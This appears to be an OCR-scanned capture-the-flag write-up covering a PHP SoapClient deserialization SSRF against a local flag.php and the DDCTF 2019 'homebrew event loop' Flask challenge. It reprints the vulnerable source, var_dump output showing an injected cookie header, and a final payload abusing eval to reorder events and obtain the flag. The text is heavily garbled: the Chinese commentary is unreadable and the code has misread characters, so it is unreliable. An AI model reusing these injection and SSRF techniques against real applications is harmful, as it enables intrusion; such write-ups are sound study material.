call_user_func($b, $a);

2> array(2) { ["a:1:{s:4:"name";5:226:""]=> object(SoapClient)#1 (5) { ["uri"]=> string(3)
"123" ["location"]=> string(25) "http://127.0.0.1/flag.php" ["_stream_context"]=> int(0)
["_user_agent"]=> string(56) "NOrth3ty Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 "
["_soap_version"]=> int(1) } ["name"]=> string(10) "SoapClient" }

'welcome_to_the_lct£2018');




<7php

highlight file(_FILE_ ):

$b = implode’ :

call_user_func($_GET['f ], $_POST):

session_start() ;

if (isset($_GET[ name’1)) {
$_SESSION['name’] = $ GET[ name’];

var_dump ($_SESSION) ;

$a = array(reset($_SESSION), 'welcome_to_the letf2018);

call_user_func($b, $a)

2> array(3) { ["a:1:{s:4:"name";s:226:""]=> object(SoapClient)#1 (9) { ["uri"]=> string(3) "123" ["location"]=> string(25) "http://127.0.0.1/flag.php" [*_stream_context"]=> int(0) ["_user agent"]=>
string(56) "NOrth3ty Cookie: PHPSESSID=991m9bf41ue8k3bctirrsmm8m4 " [*_soap_version"]=> int(1) ["httpsocket"]=> int(0) [*_use_proxy"]=> int(0) ["httpurl']=> int(0) [*__soap_fault’]=>
object(SoapFault)#2 (9) { ["message":protected]=> string(16) "Gateway Time-out" ["string":"Exception":private]=> string(343) "SoapFault exception: [HTTP] Gateway Time-out in /var/www
/html/index.php:11 Stack trace: #0 [internal function]: SoapClient->__doRequest("_ call('welcome_to_the ...", Array) #2 /var/www/html/index.php(11): call_user_func(Array) #3 {main}"
["code":protected]=> int(0) ["file":protected]=> string(23) "/var/www/html/index.php” ["line":protected]=> int(11) ["trace":"Exception™:private]=> array(3) { [0]=> array(4) { [*function"]=> string(11)
"_doRequest" ["class"]=> string(10) "SoapClient" ["type"]=> string(2) "->" ["args"]=> array(5) { [0]=> string(386) " " [1]=> string(25) "http://127.0.0.1/flag.php" [2]=> string(27)
"123#welcome to_the |ctf2018" [3]=> int(1) [4]=> int(0) } } [1]=> array(4) { ["function"]=> string(6) "_ call" ["class"]=> string(10) "SoapClient" ["type"]=> string(2) "->" ["args"]=> array(2) { [0]=>
string(23) "welcome_to_the Ictf2018" [1]=> array(0) { } } } [2]=> array(4) { ["file"]=> string(23) "/var/www/html/index.php” ["line"]=> int(11) ["function"]=> string(14) "call_user func" [*args"]=>
array(1) { [0]=> array(2) { [0]=> *RECURSION* [1]=> string(23) "welcome_to_the [ctf2018" } } } } ["previous":"Exception":private]=> NULL ["faultstring"]=> string(16) "Gateway Time-out"
["faultcode"]=> string(4) "HTTP" } } ["name"]=> string(10) "SoapClient" ["flag"]=> string(42) "[{El{ilele] st ele Bl i R e o e T o PR L o] T P LYY " )

[DDCTF 2019]homebrew event loop
BRI -
FAE SR USRI A, BRATENRR. Rk ER.

eval BEFEEEN, 7 LB #ERE, RATTUMEAB Haction: eval#;argl#arg2#arg3iX TR )5 HE A 3 7 LA FER &
¥, HEEENEAEANSE, SR+ EIASEIIE.

from flask import Flask, session, request, Response

import urllib

app = Flask(__name_ )
app_secr\et key = " kkokskokskokokkokkokskokskkokkkkk ! # Censored

url prefix = '/d5afelf66147e857'

def FLAG():
r\etur\n Vokokskskskokkkskkkskskkkkskkkkk ! # Censored

def trigger_event(event):

session['log'].append(event)

if len(session['log']) > 5:
session['log'] = session['log'][-5:]

if type(event) == type([]):
request.event_queue += event

else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException:
pass

def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopgrstuvwxyzABCDEFGHIIKLMNOPQRSTUVIWXYZ 0123456789: ;#")
resp = None
while len(request.event_queue) > 0:

AN oiom N 2 L o _alf . M Z2M.. W 4t o L AATTAM.ARACALARACALARA~CA "



# event 1S sometning like dCUL1O0NIALI LUN; ARUDYHFARUDLHARUDZ. . . . . &
event = request.event_queue[9]
request.event_queue = request.event_queue[1l:]
if not event.startswith(('action:', 'func:')):
continue
for ¢ in event:
if ¢ not in valid_event_chars:

break
else:
is_action = event[@] == 'a’
action = get_mid_str(event, ':', ';")

args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = "'
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session[ 'num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = "'
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

@app.route(url_prefix+'/")
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session[ 'num_items'] = @
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)

return execute_event_loop()
# handlers/functions below --------------cc-cocommmem oo
def view_handler(args):

page = args[9]
html = *'



html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session[ 'num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

return html

def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool show_source == 'True':

source = open('eventLoop.py', 'r')

html = "'

if bool _download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool download_source != 'True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<"', '&lt;').replace('>"', '&gt;').replace('\n', ‘'<br />")
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers[ 'Content-Type'] = 'text/plain’
headers[ 'Content-Disposition'] = 'attachment; filename=serve.py'

return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index")

def buy_handler(args):
num_items = int(args[@])
if num_items <= @:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session[ 'num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session[ 'points'] -= point_to_consume



def show_flag function(args):

flag = args[9Q]

# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so
we disabled it.

return 'You naughty boy! ;) <br />'

def get_flag handler(args):
if session['num_items'] >= 5:
# show_flag function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index")

if _name__ == '_main__':

app.run(debug=False, host='0.0.0.0")

# flagiREXEi%def FLAG()

# IR EA BB 55 S HORAT T
# 1. %Hinlog, H¥SHMABFIdef trigger_event(event)

# 2. TEERH, #FBprefixEpostfix aH1E
def get_mid_str(haystack, prefix, postfix=None):

# 3. MBAFIhERH %, FaiiE, BATHIT. (REHTHEALITD

def execute_event_loop()

# P ANO R
def entry_point()

# WHEER, =AWM:

index/shop/resetdef view_handler()

# THIED
def index_handler(args)

# WnEsA
def buy_handler(args)

# THEANE, ETEE

def consume_point_function(args)

# Hitiflagdef show_flag_function(args)
def get_flag handler(args)

BEXAWAER flag BREER -



def

show_flag function(args):
flag = args[0]

#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so

we disabled it.

def

AT LAE Blshow_flag_function() BIEEERRE flag, HeFEHget_flag_handler()FHEIKtrigger_event () E3L:

def

EXANREE session BETHE, MXANMHEERME flag, FH flask 1 session RAIUHMEER. REFERITE

return 'You naughty boy! ;) <br />'

get_flag handler(args):

if session['num_items'] >= 5:
trigger_event('func:show_flag;"' + FLAG())

trigger_event('action:view;index")

trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:

TEA session RATHANIRE flag.

B IEF A show_flag_function(), %4 Esession[ ‘num_items’] >= 5.

B FEnum_itemsHELFpoints, MHEMAIRA 3 Ipoints, WHTIRAE 5 4 num_items?

FEE ML

def

def

buy_handler ()X EH & %iEnum_items B H AR L%, REHEMITconsume_point_function(), FHpointsAii

buy_handler(args):

num_items = int(args[0])

if num_items <= @: return 'invalid number({}) of diamonds to buy<br />'.format(args[@])
session[ 'num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
consume_point_function(args):

point_to_consume = int(args[0])

if session['points'] < point_to_consume: raise RollBackException()

session[ 'points'] -= point_to_consume

consume_point_function()&iEnum_itemsHI% H HinmE*.
HEmREA THRE, TEK, REREERT



WLARM R EHERWHRERZ AT, %hiTget_flag_handler()BIH[,
EHitrigger_event ) 4EH T — A S HATHIBNG], REikget flag handler()#E#Econsume_point_function()Z B
ANBAFURITT . BH BRI PAT RS

def execute event loop():
valid event chars = set(
'abcdefghijklmnopgqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789:;#")
resp = None
while len(regquest.event queue) > 0:
# "event® is something like "action:ACTION;ARGSO#ARGSI#ARGSZ...... "
event = request.event queue[0]
request.event queue = request.event gqueue[l:]
if not event.startswith(('action:', 'func:')):
continue
for ¢ in event:
if ¢ not in valid event chars:

break
else:
is_action = event[0] == 'a’
action = get mid str(event, ':', ';")
args = get mid str(event, action+';").split('#")
try:

event handler = eval(
action + (' handler' if is action else ' function'))
ret val = event handler (args)
except RollBackException:
if resp is None:

LI

resp =
resp += 'ERROR! All transactions have been cancelled. <br />'

resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num items'] = request.prev session['num items']
session['points'] = request.prev session['points’']

break

frel 4y trexecute_event_loop, S RKIEHEA —eval®i, mHEWHER!
FlFHeval ()T ARBUER G APAT, EHERBRK L. bypass #aTHKIPHETS .

Frikeval () Z¥ATtrigger_event(), IHHEEFHBHENGLSIEASE, SAlZbuyFfiget _flag, #AbuyHiget flagfdst
Ja BENBAF o

R IFF £ 56 4Tbuy_handler(), Bbifconsume_pointBEARNF, HifEget flagz )i, WAIHIBARER.

FrbAf % Payload T

action:trigger_event%23;action:buy;5%23action:get_flag;
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